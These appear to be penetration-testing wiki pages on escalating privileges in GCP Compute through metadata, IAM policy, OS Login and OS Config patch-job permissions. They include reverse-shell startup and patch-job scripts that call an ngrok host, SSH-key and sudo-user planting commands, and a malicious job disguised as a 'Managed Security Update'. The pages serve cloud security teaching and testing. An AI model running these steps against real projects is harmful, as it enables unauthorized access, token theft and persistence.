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# GCP - Compute Privesc
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## Compute
For more information about Compute and VPC (netowork) in GCP check:
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../../gcp-services/gcp-compute-instances-enum/
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> [!CAUTION]
> Note that to perform all the privilege escalation atacks that require to modify the metadata of the instance (like adding new users and SSH keys) it's **needed that you have `actAs` permissions over the SA attached to the instance**, even if the SA is already attached!
### `compute.projects.setCommonInstanceMetadata`
With that permission you can **modify** the **metadata** information of an **instance** and change the **authorized keys of a user**, or **create** a **new user with sudo** permissions. Therefore, you will be able to exec via SSH into any VM instance and steal the GCP Service Account the Instance is running with.\
Limitations:
- Note that GCP Service Accounts running in VM instances by default have a **very limited scope**
- You will need to be **able to contact the SSH** server to login
For more information about how to exploit this permission check:
{{#ref}}
gcp-add-custom-ssh-metadata.md
{{#endref}}
You could aslo perform this attack by adding new startup-script and rebooting the instance:
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'
gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`
This permission gives the **same privileges as the previous permission** but over a specific instances instead to a whole project. The **same exploits and limitations as for the previous section applies**.
### `compute.instances.setIamPolicy`
This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account:
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE
cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF
gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**
If **OSLogin is enabled in the instance**, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You **won't have root privs** inside the instance.
> [!TIP]
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
### **`compute.instances.osAdminLogin`**
If **OSLogin is enabled in the instanc**e, with this permission you can just run **`gcloud compute ssh [INSTANCE]`** and connect to the instance. You will have **root privs** inside the instance.
> [!TIP]
> In order to successfully login with this permission inside the VM instance, you need to have the `iam.serviceAccounts.actAs` permission over the SA atatched to the VM.
### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`
It's possible to **create a virtual machine with an assigned Service Account and steal the token** of the service account accessing the metadata to escalate privileges to it.
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).
### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`
If you have the **`osconfig.patchDeployments.create`** or **`osconfig.patchJobs.exec`** permissions you can create a [**patch job or deployment**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). This will enable you to move laterally in the environment and gain code execution on all the compute instances within a project.
Note that at the moment you **don't need `actAs` permission** over the SA attached to the instance.
If you want to manually exploit this you will need to create either a [**patch job**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **or** [**deployment**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
For a patch job run:
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF
gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh
# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance
gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
To deploy a patch deployment:
```bash
gcloud compute os-config patch-deployments create <name> ...
```
The tool [patchy](https://github.com/rek7/patchy) could been used in the past for exploiting this misconfiguration (but now it's not working).
**An attacker could also abuse this for persistence.**
### `compute.machineImages.setIamPolicy`
**Grant yourself extra permissions** to compute Image.
### `compute.snapshots.setIamPolicy`
**Grant yourself extra permissions** to a disk snapshot.
### `compute.disks.setIamPolicy`
**Grant yourself extra permissions** to a disk.
### Bypass Access Scopes
Following this link you find some [**ideas to try to bypass access scopes**](../index.html).
### Local Privilege Escalation in GCP Compute instance
{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
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## References
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
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# GCP - Add Custom SSH Metadata
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## Modifying the metadata <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
Metadata modification on an instance could lead to **significant security risks if an attacker gains the necessary permissions**.
### **Incorporation of SSH Keys into Custom Metadata**
On GCP, **Linux systems** often execute scripts from the [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). A critical component of this is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which is designed to **regularly check** the instance metadata endpoint for **updates to the authorized SSH public keys**.
Therefore, if an attacker can modify custom metadata, he could make the the daemon find a new public key, which will processed and **integrated into the local system**. The key will be added into `~/.ssh/authorized_keys` file of an **existing user or potentially creating a new user with `sudo` privileges**, depending on the key's format. And the attacker will be able to compromise the host.
### **Add SSH key to existing privileged user**
1. **Examine Existing SSH Keys on the Instance:**
- Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under `metadata`, specifically the `ssh-keys` key.
```bash
gcloud compute instances describe [INSTANCE] --zone [ZONE]
```
- Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon.
2. **Prepare a Text File for SSH Key Metadata:**
- Save the details of usernames and their corresponding SSH keys into a text file named `meta.txt`. This is essential for preserving the existing keys while adding new ones.
3. **Generate a New SSH Key for the Target User (`alice` in this example):**
- Use the `ssh-keygen` command to generate a new SSH key, ensuring that the comment field (`-C`) matches the target username.
```bash
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
```
- Add the new public key to `meta.txt`, mimicking the format found in the instance's metadata.
4. **Update the Instance's SSH Key Metadata:**
- Apply the updated SSH key metadata to the instance using the `gcloud compute instances add-metadata` command.
```bash
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
```
5. **Access the Instance Using the New SSH Key:**
- Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (`alice` in this example).
```bash
ssh -i ./key alice@localhost
sudo id
```
### **Create a new privileged user and add a SSH key**
If no interesting user is found, it's possible to create a new one which will be given `sudo` privileges:
```bash
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
### SSH keys at project level <a href="#sshing-around" id="sshing-around"></a>
It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by **applying SSH keys at the project level**. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys. Here's a summarized guide:
1. **Apply SSH Keys at the Project Level:**
- Use the `gcloud compute project-info add-metadata` command to add SSH keys from `meta.txt` to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled.
```bash
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **SSH into Instances Using Project-Wide Keys:**
- With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access.
- A direct method to SSH into an instance is using the `gcloud compute ssh [INSTANCE]` command. This command uses your current username and the SSH keys set at the project level to attempt access.
## References
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
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```bash
firebase projects:list
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## References
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
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